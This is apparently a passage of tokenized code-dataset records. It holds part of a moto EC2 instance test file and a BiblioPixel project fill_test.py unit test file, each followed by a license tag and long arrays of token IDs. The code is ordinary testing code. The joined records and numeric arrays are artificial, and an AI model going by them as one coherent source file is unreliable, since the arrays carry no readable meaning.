MaxCount=instance_count ) reservations = client.describe_instances()["Reservations"] reservations[0]["Instances"].should.have.length_of(instance_count) instances = reservations[0]["Instances"] for i in range(0, instance_count): instances[i]["AmiLaunchIndex"].should.be(i) @mock_ec2 def test_describe_instance_attribute(): client = boto3.client("ec2", region_name="us-east-1") security_group_id = client.create_security_group( GroupName="test security group", Description="this is a test security group" )["GroupId"] client.run_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, SecurityGroupIds=[security_group_id], ) instance_id = client.describe_instances()["Reservations"][0]["Instances"][0][ "InstanceId" ] valid_instance_attributes = [ "instanceType", "kernel", "ramdisk", "userData", "disableApiTermination", "instanceInitiatedShutdownBehavior", "rootDeviceName", "blockDeviceMapping", "productCodes", "sourceDestCheck", "groupSet", "ebsOptimized", "sriovNetSupport", ] for valid_instance_attribute in valid_instance_attributes: response = client.describe_instance_attribute( InstanceId=instance_id, Attribute=valid_instance_attribute ) if valid_instance_attribute == "groupSet": response.should.have.key("Groups") response["Groups"].should.have.length_of(1) response["Groups"][0]["GroupId"].should.equal(security_group_id) elif valid_instance_attribute == "userData": response.should.have.key("UserData") response["UserData"].should.be.empty invalid_instance_attributes = [ "abc", "Kernel", "RamDisk", "userdata", "iNsTaNcEtYpE", ] for invalid_instance_attribute in invalid_instance_attributes: with pytest.raises(ClientError) as ex: client.describe_instance_attribute( InstanceId=instance_id, Attribute=invalid_instance_attribute ) ex.value.response["Error"]["Code"].should.equal("InvalidParameterValue") ex.value.response["ResponseMetadata"]["HTTPStatusCode"].should.equal(400) message = "Value ({invalid_instance_attribute}) for parameter attribute is invalid. Unknown attribute.".format( invalid_instance_attribute=invalid_instance_attribute ) ex.value.response["Error"]["Message"].should.equal(message) @mock_ec2 def test_warn_on_invalid_ami(): if settings.TEST_SERVER_MODE: raise SkipTest("Can't capture warnings in server mode.") ec2 = boto3.resource("ec2", "us-east-1") with pytest.warns( PendingDeprecationWarning, match=r"Could not find AMI with image-id:invalid-ami.+", ): ec2.create_instances(ImageId="invalid-ami", MinCount=1, MaxCount=1)
apache-2.0
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 21199, 14, 3924, 492, 28972, 199, 199, 646, 4613, 199, 504, 2882, 492, 18795, 199, 199, 646, 1300, 772, 199, 646, 20617, 199, 199, 646, 3816, 199, 646, 6055, 199, 646, 6055, 19, 199, 504, 6055, 14, 825, 18, 14, 842, 492, 799, 8213, 12, 10066, 1646, 199, 504, 6055, 14, 1971, 492, 15352, 18, 19712, 199, 504, 22778, 17924, 492, 22778, 63, 521, 199, 646, 3238, 221, 327, 8151, 199, 199, 504, 333, 3459, 492, 1683, 63, 825, 18, 63, 6667, 12, 1683, 63, 825, 18, 12, 2202, 199, 504, 2295, 492, 3651, 10818, 63, 1156, 41, 63, 998, 199, 504, 2295, 14, 7546, 492, 5074, 63, 10914, 63, 19586, 421, 199, 692, 3816, 14, 4521, 18, 26, 272, 4849, 63, 765, 275, 1300, 772, 14, 2708, 875, 199, 2836, 26, 272, 4849, 63, 765, 275, 1300, 772, 14, 2708, 2394, 199, 199, 749, 1379, 5574, 278, 21937, 14776, 199, 318, 1050, 63, 5871, 8, 13496, 63, 344, 12, 2338, 304, 272, 2557, 275, 6055, 14, 2242, 63, 825, 18, 342, 272, 367, 1478, 315, 1425, 8, 835, 304, 267, 2557, 14, 1065, 63, 5990, 8, 13496, 63, 344, 9, 421, 199, 32, 1805, 63, 825, 18, 63, 6667, 199, 318, 511, 63, 525, 63, 5871, 837, 272, 1050, 63, 5871, 8, 26900, 63, 1156, 41, 63, 998, 12, 499, 9, 339, 2557, 275, 6055, 14, 2242, 63, 825, 18, 342, 272, 31494, 275, 2557, 14, 362, 63, 452, 63, 264, 12225, 342, 272, 702, 822, 8, 264, 12225, 9, 508, 499, 272, 1256, 17, 275, 31494, 59, 16, 1055, 5990, 59, 16, 61, 272, 702, 1256, 17, 14, 1569, 63, 344, 508, 3651, 10818, 63, 1156, 41, 63, 998, 421, 199, 26634, 381, 421, 199, 32, 18459, 63, 521, 480, 7280, 13, 614, 13, 614, 22528, 26, 383, 26, 383, 531, 199, 32, 1805, 63, 825, 18, 63, 6667, 199, 318, 511, 63, 842, 63, 9850, 63, 460, 63, 14478, 837, 272, 2557, 275, 6055, 14, 825, 18, 14, 2242, 63, 475, 63, 4551, 480, 527, 13, 14346, 13, 17, 531, 339, 543, 4613, 14, 3536, 8, 4220, 18, 19712, 9, 465, 444, 26, 267, 25476, 275, 2557, 14, 1065, 63, 5990, 8, 26900, 63, 1156, 41, 63, 998, 12, 9951, 63, 1065, 29, 549, 9, 272, 444, 14, 585, 14, 705, 63, 600, 14, 5626, 14, 1452, 480, 36, 651, 2540, 6044, 531, 272, 444, 14, 585, 14, 1205, 14, 5626, 14, 1452, 8, 5303, 9, 272, 444, 14, 585, 14, 1188, 14, 5626, 14, 1452, 8, 267, 298, 2493, 1125, 8920, 334, 36, 651, 2540, 6044, 9, 1380, 6358, 314, 3378, 3244, 3439, 26, 4784, 3955, 1172, 19268, 12, 1325, 577, 651, 2540, 3305, 365, 663, 2, 272, 776, 339, 25476, 275, 2557, 14, 1065, 63, 5990, 8, 26900, 63, 1156, 41, 63, 998, 9, 272, 25476, 14, 5626, 14, 1235, 14, 65, 8, 497, 8213, 9, 272, 25476, 14, 5990, 14, 5626, 14, 7804, 14, 1267, 63, 1618, 8, 17, 9, 272, 1256, 275, 25476, 14, 5990, 59, 16, 61, 272, 1256, 14, 929, 14, 5626, 14, 1452, 480, 6455, 531, 339, 31494, 275, 2557, 14, 362, 63, 452, 63, 264, 12225, 342, 272, 31494, 14, 5626, 14, 7804, 14, 1267, 63, 1618, 8, 17, 9, 272, 31494, 59, 16, 1055, 344, 14, 5626, 14, 1452, 8, 20522, 14, 344, 9, 272, 4454, 275, 31494, 59, 16, 1055, 5990, 272, 4454, 14, 5626, 14, 7804, 14, 1267, 63, 1618, 8, 17, 9, 272, 1256, 275, 4454, 59, 16, 61, 272, 1256, 14, 344, 14, 5626, 14, 1452, 8, 842, 14, 344, 9, 272, 1256, 14, 929, 14, 5626, 14, 1452, 480, 5720, 531, 272, 1256, 14, 9850, 63, 521, 14, 5626, 14, 1452, 480, 7280, 13, 614, 13, 614, 52, 1717, 26, 383, 26, 383, 14, 1493, 58, 531, 272, 1256, 14, 11742, 63, 344, 14, 5626, 343, 14, 1452, 8, 403, 9, 272, 1256, 14, 16748, 14, 5626, 14, 1452, 480, 527, 13, 14346, 13, 17, 65, 531, 339, 1738, 63, 1782, 63, 354, 275, 1256, 14, 1231, 63, 1782, 63, 354, 272, 1256, 14, 1457, 63, 1782, 63, 4745, 59, 1231, 63, 1782, 63, 354, 1055, 1205, 14, 5626, 14, 1452, 480, 262, 13, 1180, 531, 272, 3301, 63, 344, 275, 1256, 14, 1457, 63, 1782, 63, 4745, 59, 1231, 63, 1782, 63, 354, 1055, 2405, 63, 344, 272, 3301, 63, 344, 14, 5626, 14, 1431, 8, 82, 2, 5650, 2696, 87, 21425, 339, 3301, 275, 2557, 14, 362, 63, 452, 63, 8838, 8, 2405, 63, 1580, 1524, 2405, 63, 344, 11057, 16, 61, 272, 3301, 14, 5040, 63, 576, 14, 842, 63, 344, 14, 5626, 14, 1452, 8, 842, 14, 344, 9, 272, 3301, 14, 1205, 14, 5626, 14, 1452, 480, 262, 13, 1180, 531, 339, 543, 4613, 14, 3536, 8, 4220, 18, 19712, 9, 465, 444, 26, 267, 2557, 14, 14478, 63, 5990, 779, 842, 14, 344, 467, 9951, 63, 1065, 29, 549, 9, 272, 444, 14, 585, 14, 705, 63, 600, 14, 5626, 14, 1452, 480, 36, 651, 2540, 6044, 531, 272, 444, 14, 585, 14, 1205, 14, 5626, 14, 1452, 8, 5303, 9, 272, 444, 14, 585, 14, 1188, 14, 5626, 14, 1452, 8, 267, 298, 2493, 1125, 8920, 334, 36, 651, 2540, 6044, 9, 1380, 6358, 314, 20429, 323, 3244, 3439, 26, 4784, 3955, 1172, 19268, 12, 1325, 577, 651, 2540, 3305, 365, 663, 2, 272, 776, 339, 2557, 14, 14478, 63, 5990, 779, 842, 14, 344, 566, 339, 31494, 275, 2557, 14, 362, 63, 452, 63, 264, 12225, 342, 272, 1256, 275, 31494, 59, 16, 1055, 5990, 59, 16, 61, 272, 1256, 14, 929, 14, 5626, 14, 1452, 480, 18375, 531, 421, 199, 32, 1805, 63, 825, 18, 199, 318, 511, 63, 842, 63, 14478, 63, 14394, 63, 8838, 837, 339, 7062, 18, 63, 1927, 275, 6055, 19, 14, 1927, 480, 825, 18, 401, 298, 527, 13, 19082, 13, 17, 531, 339, 754, 275, 7062, 18, 63, 1927, 14, 981, 63, 5990, 8, 267, 6047, 1304, 29, 26900, 63, 1156, 41, 63, 998, 12, 267, 10195, 2353, 29, 17, 12 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 21199, 14, 3924, 492, 28972, 199, 199, 646, 4613, 199, 504, 2882, 492, 18795, 199, 199, 646, 1300, 772, 199, 646, 20617, 199, 199, 646, 3816, 199, 646, 6055, 199, 646, 6055, 19, 199, 504, 6055, 14, 825, 18, 14, 842, 492, 799, 8213, 12, 10066, 1646, 199, 504, 6055, 14, 1971, 492, 15352, 18, 19712, 199, 504, 22778, 17924, 492, 22778, 63, 521, 199, 646, 3238, 221, 327, 8151, 199, 199, 504, 333, 3459, 492, 1683, 63, 825, 18, 63, 6667, 12, 1683, 63, 825, 18, 12, 2202, 199, 504, 2295, 492, 3651, 10818, 63, 1156, 41, 63, 998, 199, 504, 2295, 14, 7546, 492, 5074, 63, 10914, 63, 19586, 421, 199, 692, 3816, 14, 4521, 18, 26, 272, 4849, 63, 765, 275, 1300, 772, 14, 2708, 875, 199, 2836, 26, 272, 4849, 63, 765, 275, 1300, 772, 14, 2708, 2394, 199, 199, 749, 1379, 5574, 278, 21937, 14776, 199, 318, 1050, 63, 5871, 8, 13496, 63, 344, 12, 2338, 304, 272, 2557, 275, 6055, 14, 2242, 63, 825, 18, 342, 272, 367, 1478, 315, 1425, 8, 835, 304, 267, 2557, 14, 1065, 63, 5990, 8, 13496, 63, 344, 9, 421, 199, 32, 1805, 63, 825, 18, 63, 6667, 199, 318, 511, 63, 525, 63, 5871, 837, 272, 1050, 63, 5871, 8, 26900, 63, 1156, 41, 63, 998, 12, 499, 9, 339, 2557, 275, 6055, 14, 2242, 63, 825, 18, 342, 272, 31494, 275, 2557, 14, 362, 63, 452, 63, 264, 12225, 342, 272, 702, 822, 8, 264, 12225, 9, 508, 499, 272, 1256, 17, 275, 31494, 59, 16, 1055, 5990, 59, 16, 61, 272, 702, 1256, 17, 14, 1569, 63, 344, 508, 3651, 10818, 63, 1156, 41, 63, 998, 421, 199, 26634, 381, 421, 199, 32, 18459, 63, 521, 480, 7280, 13, 614, 13, 614, 22528, 26, 383, 26, 383, 531, 199, 32, 1805, 63, 825, 18, 63, 6667, 199, 318, 511, 63, 842, 63, 9850, 63, 460, 63, 14478, 837, 272, 2557, 275, 6055, 14, 825, 18, 14, 2242, 63, 475, 63, 4551, 480, 527, 13, 14346, 13, 17, 531, 339, 543, 4613, 14, 3536, 8, 4220, 18, 19712, 9, 465, 444, 26, 267, 25476, 275, 2557, 14, 1065, 63, 5990, 8, 26900, 63, 1156, 41, 63, 998, 12, 9951, 63, 1065, 29, 549, 9, 272, 444, 14, 585, 14, 705, 63, 600, 14, 5626, 14, 1452, 480, 36, 651, 2540, 6044, 531, 272, 444, 14, 585, 14, 1205, 14, 5626, 14, 1452, 8, 5303, 9, 272, 444, 14, 585, 14, 1188, 14, 5626, 14, 1452, 8, 267, 298, 2493, 1125, 8920, 334, 36, 651, 2540, 6044, 9, 1380, 6358, 314, 3378, 3244, 3439, 26, 4784, 3955, 1172, 19268, 12, 1325, 577, 651, 2540, 3305, 365, 663, 2, 272, 776, 339, 25476, 275, 2557, 14, 1065, 63, 5990, 8, 26900, 63, 1156, 41, 63, 998, 9, 272, 25476, 14, 5626, 14, 1235, 14, 65, 8, 497, 8213, 9, 272, 25476, 14, 5990, 14, 5626, 14, 7804, 14, 1267, 63, 1618, 8, 17, 9, 272, 1256, 275, 25476, 14, 5990, 59, 16, 61, 272, 1256, 14, 929, 14, 5626, 14, 1452, 480, 6455, 531, 339, 31494, 275, 2557, 14, 362, 63, 452, 63, 264, 12225, 342, 272, 31494, 14, 5626, 14, 7804, 14, 1267, 63, 1618, 8, 17, 9, 272, 31494, 59, 16, 1055, 344, 14, 5626, 14, 1452, 8, 20522, 14, 344, 9, 272, 4454, 275, 31494, 59, 16, 1055, 5990, 272, 4454, 14, 5626, 14, 7804, 14, 1267, 63, 1618, 8, 17, 9, 272, 1256, 275, 4454, 59, 16, 61, 272, 1256, 14, 344, 14, 5626, 14, 1452, 8, 842, 14, 344, 9, 272, 1256, 14, 929, 14, 5626, 14, 1452, 480, 5720, 531, 272, 1256, 14, 9850, 63, 521, 14, 5626, 14, 1452, 480, 7280, 13, 614, 13, 614, 52, 1717, 26, 383, 26, 383, 14, 1493, 58, 531, 272, 1256, 14, 11742, 63, 344, 14, 5626, 343, 14, 1452, 8, 403, 9, 272, 1256, 14, 16748, 14, 5626, 14, 1452, 480, 527, 13, 14346, 13, 17, 65, 531, 339, 1738, 63, 1782, 63, 354, 275, 1256, 14, 1231, 63, 1782, 63, 354, 272, 1256, 14, 1457, 63, 1782, 63, 4745, 59, 1231, 63, 1782, 63, 354, 1055, 1205, 14, 5626, 14, 1452, 480, 262, 13, 1180, 531, 272, 3301, 63, 344, 275, 1256, 14, 1457, 63, 1782, 63, 4745, 59, 1231, 63, 1782, 63, 354, 1055, 2405, 63, 344, 272, 3301, 63, 344, 14, 5626, 14, 1431, 8, 82, 2, 5650, 2696, 87, 21425, 339, 3301, 275, 2557, 14, 362, 63, 452, 63, 8838, 8, 2405, 63, 1580, 1524, 2405, 63, 344, 11057, 16, 61, 272, 3301, 14, 5040, 63, 576, 14, 842, 63, 344, 14, 5626, 14, 1452, 8, 842, 14, 344, 9, 272, 3301, 14, 1205, 14, 5626, 14, 1452, 480, 262, 13, 1180, 531, 339, 543, 4613, 14, 3536, 8, 4220, 18, 19712, 9, 465, 444, 26, 267, 2557, 14, 14478, 63, 5990, 779, 842, 14, 344, 467, 9951, 63, 1065, 29, 549, 9, 272, 444, 14, 585, 14, 705, 63, 600, 14, 5626, 14, 1452, 480, 36, 651, 2540, 6044, 531, 272, 444, 14, 585, 14, 1205, 14, 5626, 14, 1452, 8, 5303, 9, 272, 444, 14, 585, 14, 1188, 14, 5626, 14, 1452, 8, 267, 298, 2493, 1125, 8920, 334, 36, 651, 2540, 6044, 9, 1380, 6358, 314, 20429, 323, 3244, 3439, 26, 4784, 3955, 1172, 19268, 12, 1325, 577, 651, 2540, 3305, 365, 663, 2, 272, 776, 339, 2557, 14, 14478, 63, 5990, 779, 842, 14, 344, 566, 339, 31494, 275, 2557, 14, 362, 63, 452, 63, 264, 12225, 342, 272, 1256, 275, 31494, 59, 16, 1055, 5990, 59, 16, 61, 272, 1256, 14, 929, 14, 5626, 14, 1452, 480, 18375, 531, 421, 199, 32, 1805, 63, 825, 18, 199, 318, 511, 63, 842, 63, 14478, 63, 14394, 63, 8838, 837, 339, 7062, 18, 63, 1927, 275, 6055, 19, 14, 1927, 480, 825, 18, 401, 298, 527, 13, 19082, 13, 17, 531, 339, 754, 275, 7062, 18, 63, 1927, 14, 981, 63, 5990, 8, 267, 6047, 1304, 29, 26900, 63, 1156, 41, 63, 998, 12, 267, 10195, 2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, 1, 1, 1, 1, 1, 1 ]
ManiacalLabs/BiblioPixel
test/bibliopixel/project/fill_test.py
2
3691
import copy, unittest from bibliopixel.project import fill, merge, project from bibliopixel.animation.sequence import Sequence from bibliopixel.animation.matrix import Matrix from bibliopixel.animation.off import Off from bibliopixel.layout import cube, matrix, strip from bibliopixel.util import data_file BASE = { 'animation': { 'run': {}, 'datatype': Off, 'name': 'Off', }, 'controls': [], 'drivers': [{'typename': 'simpixel'}], 'layout': {}, 'maker': {'typename': 'bibliopixel.project.data_maker.Maker'}, 'path': '', 'typename': 'bibliopixel.project.project.Project', } def fill_before(desc): desc = merge.merge( merge.DEFAULT_PROJECT, {'animation': {'typename': 'off'}}, desc) return project.Project.pre_recursion(desc) def fill_after(desc): desc = merge.merge(merge.DEFAULT_PROJECT, desc) desc['layout'] = desc['layout'] or fill.fill_layout(desc['animation']) return desc class FillTest(unittest.TestCase): def test_both(self): actual = fill_before({'layout': 'matrix'}) expected = dict(BASE, layout={'typename': 'matrix'}) self.assertEqual(actual, expected) def test_drivers_empty(self): self.assertEqual(fill_before({}), BASE) def test_drivers_one(self): actual = fill_before({'driver': 'lpd8806'}) expected = dict(BASE, drivers=[{'typename': 'lpd8806'}]) self.assertEqual(actual, expected) def test_layout(self): source = { 'animation': { 'datatype': Matrix, 'width': 23, 'height': 32, 'wombat': 7, }, } actual = fill_after(copy.deepcopy(source)) expected = { 'aliases': {}, 'shape': (), 'driver': {}, 'drivers': [], 'layout': { 'width': 23, 'height': 32, 'datatype': matrix.Matrix, }, 'numbers': '', 'colors': {}, 'palettes': {}, 'run': {}, } expected = dict(source, **expected) self.assertEqual(actual, dict(BASE, **expected)) def test_1_dimension(self): source = {'shape': 3} actual = fill_before(source) expected = { 'drivers': [{'num': 3, 'typename': 'simpixel'}], 'layout': {'datatype': strip.Strip}, } self.assertEqual(actual, dict(BASE, **expected)) source = {'shape': [3]} actual = fill_before(source) self.assertEqual(actual, dict(BASE, **expected)) def test_2_shape(self): source = {'shape': [2, 5]} actual = fill_before(source) expected = { 'drivers': [{'num': 10, 'typename': 'simpixel'}], 'layout': {'datatype': matrix.Matrix, 'width': 2, 'height': 5}, } self.assertEqual(actual, dict(BASE, **expected)) def test_3_shape(self): source = {'shape': [2, 3, 7]} actual = fill_before(source) expected = { 'drivers': [{'num': 42, 'typename': 'simpixel'}], 'layout': {'datatype': cube.Cube, 'x': 2, 'y': 3, 'z': 7}, } self.assertEqual(actual, dict(BASE, **expected)) def test_wrong_shape(self): for shape in '(2, 3, 7)', '2, 3, 7': source = {'shape': shape} actual = fill_before(source) expected = { 'drivers': [{'num': 42, 'typename': 'simpixel'}], 'layout': {'datatype': cube.Cube, 'x': 2, 'y': 3, 'z': 7}, } self.assertEqual(actual, dict(BASE, **expected))
mit
[ 646, 1331, 12, 2882, 199, 504, 11314, 317, 411, 5887, 14, 1715, 492, 5554, 12, 5389, 12, 2199, 199, 504, 11314, 317, 411, 5887, 14, 22228, 14, 4041, 492, 10975, 199, 504, 11314, 317, 411, 5887, 14, 22228, 14, 3642, 492, 8449, 199, 504, 11314, 317, 411, 5887, 14, 22228, 14, 1997, 492, 28856, 199, 504, 11314, 317, 411, 5887, 14, 4209, 492, 15681, 12, 3634, 12, 6202, 199, 504, 11314, 317, 411, 5887, 14, 1974, 492, 666, 63, 493, 199, 199, 5825, 275, 469, 272, 283, 22228, 356, 469, 267, 283, 1065, 356, 5479, 267, 283, 14184, 356, 28856, 12, 267, 283, 354, 356, 283, 5195, 297, 272, 1660, 272, 283, 13658, 356, 990, 272, 283, 13337, 356, 9016, 18596, 356, 283, 11184, 5887, 24371, 272, 283, 4209, 356, 5479, 272, 283, 14367, 356, 791, 18596, 356, 283, 8804, 317, 411, 5887, 14, 1715, 14, 576, 63, 14367, 14, 23560, 2267, 272, 283, 515, 356, 3260, 272, 283, 18596, 356, 283, 8804, 317, 411, 5887, 14, 1715, 14, 1715, 14, 4761, 297, 199, 93, 421, 199, 318, 5554, 63, 5182, 8, 3257, 304, 272, 4328, 275, 5389, 14, 5628, 8, 267, 5389, 14, 3472, 63, 10797, 12, 791, 22228, 356, 791, 18596, 356, 283, 1997, 28400, 4328, 9, 272, 372, 2199, 14, 4761, 14, 657, 63, 21314, 8, 3257, 9, 421, 199, 318, 5554, 63, 4399, 8, 3257, 304, 272, 4328, 275, 5389, 14, 5628, 8, 5628, 14, 3472, 63, 10797, 12, 4328, 9, 272, 4328, 459, 4209, 418, 275, 4328, 459, 4209, 418, 503, 5554, 14, 4498, 63, 4209, 8, 3257, 459, 22228, 1105, 272, 372, 4328, 421, 199, 533, 24797, 774, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 10727, 8, 277, 304, 267, 3503, 275, 5554, 63, 5182, 3252, 4209, 356, 283, 3642, 3071, 267, 1420, 275, 1211, 8, 5825, 12, 7054, 3713, 18596, 356, 283, 3642, 3071, 267, 291, 14, 629, 8, 6514, 12, 1420, 9, 339, 347, 511, 63, 13337, 63, 1667, 8, 277, 304, 267, 291, 14, 629, 8, 4498, 63, 5182, 24692, 395, 19721, 9, 339, 347, 511, 63, 13337, 63, 368, 8, 277, 304, 267, 3503, 275, 5554, 63, 5182, 3252, 3090, 356, 283, 76, 8961, 24, 11901, 3071, 267, 1420, 275, 1211, 8, 5825, 12, 19016, 1524, 1445, 18596, 356, 283, 76, 8961, 24, 11901, 936, 566, 267, 291, 14, 629, 8, 6514, 12, 1420, 9, 339, 347, 511, 63, 4209, 8, 277, 304, 267, 1350, 275, 469, 288, 283, 22228, 356, 469, 355, 283, 14184, 356, 8449, 12, 355, 283, 2063, 356, 6546, 12, 355, 283, 3333, 356, 4337, 12, 355, 283, 87, 676, 13475, 356, 1520, 12, 288, 1660, 267, 789, 267, 3503, 275, 5554, 63, 4399, 8, 1574, 14, 8293, 8, 1365, 430, 267, 1420, 275, 469, 288, 283, 8602, 356, 5479, 288, 283, 1392, 356, 11969, 288, 283, 3090, 356, 5479, 288, 283, 13337, 356, 990, 288, 283, 4209, 356, 469, 355, 283, 2063, 356, 6546, 12, 355, 283, 3333, 356, 4337, 12, 355, 283, 14184, 356, 3634, 14, 6443, 12, 288, 1660, 288, 283, 10548, 356, 3260, 288, 283, 7120, 356, 5479, 288, 283, 387, 2723, 744, 356, 5479, 288, 283, 1065, 356, 5479, 267, 789, 267, 1420, 275, 1211, 8, 1365, 12, 1011, 2062, 9, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 17, 63, 7430, 8, 277, 304, 267, 1350, 275, 791, 1392, 356, 650, 93, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 1420, 275, 469, 288, 283, 13337, 356, 9016, 1507, 356, 650, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 288, 283, 4209, 356, 791, 14184, 356, 6202, 14, 21332, 1386, 267, 789, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 398, 1350, 275, 791, 1392, 356, 359, 19, 9420, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 18, 63, 1392, 8, 277, 304, 267, 1350, 275, 791, 1392, 356, 359, 18, 12, 959, 9420, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 1420, 275, 469, 288, 283, 13337, 356, 9016, 1507, 356, 1616, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 288, 283, 4209, 356, 791, 14184, 356, 3634, 14, 6443, 12, 283, 2063, 356, 499, 12, 283, 3333, 356, 959, 1386, 267, 789, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 19, 63, 1392, 8, 277, 304, 267, 1350, 275, 791, 1392, 356, 359, 18, 12, 650, 12, 1520, 9420, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 1420, 275, 469, 288, 283, 13337, 356, 9016, 1507, 356, 5685, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 288, 283, 4209, 356, 791, 14184, 356, 15681, 14, 25043, 12, 283, 88, 356, 499, 12, 283, 89, 356, 650, 12, 283, 90, 356, 1520, 1386, 267, 789, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 10603, 63, 1392, 8, 277, 304, 267, 367, 2215, 315, 8189, 18, 12, 650, 12, 1520, 3196, 283, 18, 12, 650, 12, 1520, 356, 288, 1350, 275, 791, 1392, 356, 2215, 93, 288, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 288, 1420, 275, 469, 355, 283, 13337, 356, 9016, 1507, 356, 5685, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 355, 283, 4209, 356, 791, 14184, 356, 15681, 14, 25043, 12, 283, 88, 356, 499, 12, 283, 89, 356, 650, 12, 283, 90, 356, 1520, 1386, 288, 789, 288, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1331, 12, 2882, 199, 504, 11314, 317, 411, 5887, 14, 1715, 492, 5554, 12, 5389, 12, 2199, 199, 504, 11314, 317, 411, 5887, 14, 22228, 14, 4041, 492, 10975, 199, 504, 11314, 317, 411, 5887, 14, 22228, 14, 3642, 492, 8449, 199, 504, 11314, 317, 411, 5887, 14, 22228, 14, 1997, 492, 28856, 199, 504, 11314, 317, 411, 5887, 14, 4209, 492, 15681, 12, 3634, 12, 6202, 199, 504, 11314, 317, 411, 5887, 14, 1974, 492, 666, 63, 493, 199, 199, 5825, 275, 469, 272, 283, 22228, 356, 469, 267, 283, 1065, 356, 5479, 267, 283, 14184, 356, 28856, 12, 267, 283, 354, 356, 283, 5195, 297, 272, 1660, 272, 283, 13658, 356, 990, 272, 283, 13337, 356, 9016, 18596, 356, 283, 11184, 5887, 24371, 272, 283, 4209, 356, 5479, 272, 283, 14367, 356, 791, 18596, 356, 283, 8804, 317, 411, 5887, 14, 1715, 14, 576, 63, 14367, 14, 23560, 2267, 272, 283, 515, 356, 3260, 272, 283, 18596, 356, 283, 8804, 317, 411, 5887, 14, 1715, 14, 1715, 14, 4761, 297, 199, 93, 421, 199, 318, 5554, 63, 5182, 8, 3257, 304, 272, 4328, 275, 5389, 14, 5628, 8, 267, 5389, 14, 3472, 63, 10797, 12, 791, 22228, 356, 791, 18596, 356, 283, 1997, 28400, 4328, 9, 272, 372, 2199, 14, 4761, 14, 657, 63, 21314, 8, 3257, 9, 421, 199, 318, 5554, 63, 4399, 8, 3257, 304, 272, 4328, 275, 5389, 14, 5628, 8, 5628, 14, 3472, 63, 10797, 12, 4328, 9, 272, 4328, 459, 4209, 418, 275, 4328, 459, 4209, 418, 503, 5554, 14, 4498, 63, 4209, 8, 3257, 459, 22228, 1105, 272, 372, 4328, 421, 199, 533, 24797, 774, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 10727, 8, 277, 304, 267, 3503, 275, 5554, 63, 5182, 3252, 4209, 356, 283, 3642, 3071, 267, 1420, 275, 1211, 8, 5825, 12, 7054, 3713, 18596, 356, 283, 3642, 3071, 267, 291, 14, 629, 8, 6514, 12, 1420, 9, 339, 347, 511, 63, 13337, 63, 1667, 8, 277, 304, 267, 291, 14, 629, 8, 4498, 63, 5182, 24692, 395, 19721, 9, 339, 347, 511, 63, 13337, 63, 368, 8, 277, 304, 267, 3503, 275, 5554, 63, 5182, 3252, 3090, 356, 283, 76, 8961, 24, 11901, 3071, 267, 1420, 275, 1211, 8, 5825, 12, 19016, 1524, 1445, 18596, 356, 283, 76, 8961, 24, 11901, 936, 566, 267, 291, 14, 629, 8, 6514, 12, 1420, 9, 339, 347, 511, 63, 4209, 8, 277, 304, 267, 1350, 275, 469, 288, 283, 22228, 356, 469, 355, 283, 14184, 356, 8449, 12, 355, 283, 2063, 356, 6546, 12, 355, 283, 3333, 356, 4337, 12, 355, 283, 87, 676, 13475, 356, 1520, 12, 288, 1660, 267, 789, 267, 3503, 275, 5554, 63, 4399, 8, 1574, 14, 8293, 8, 1365, 430, 267, 1420, 275, 469, 288, 283, 8602, 356, 5479, 288, 283, 1392, 356, 11969, 288, 283, 3090, 356, 5479, 288, 283, 13337, 356, 990, 288, 283, 4209, 356, 469, 355, 283, 2063, 356, 6546, 12, 355, 283, 3333, 356, 4337, 12, 355, 283, 14184, 356, 3634, 14, 6443, 12, 288, 1660, 288, 283, 10548, 356, 3260, 288, 283, 7120, 356, 5479, 288, 283, 387, 2723, 744, 356, 5479, 288, 283, 1065, 356, 5479, 267, 789, 267, 1420, 275, 1211, 8, 1365, 12, 1011, 2062, 9, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 17, 63, 7430, 8, 277, 304, 267, 1350, 275, 791, 1392, 356, 650, 93, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 1420, 275, 469, 288, 283, 13337, 356, 9016, 1507, 356, 650, 12, 283, 18596, 356, 283, 11184, 5887, 24371, 288, 283, 4209, 356, 791, 14184, 356, 6202, 14, 21332, 1386, 267, 789, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 398, 1350, 275, 791, 1392, 356, 359, 19, 9420, 267, 3503, 275, 5554, 63, 5182, 8, 1365, 9, 267, 291, 14, 629, 8, 6514, 12, 1211, 8, 5825, 12, 1011, 2062, 430, 339, 347, 511, 63, 18, 63, 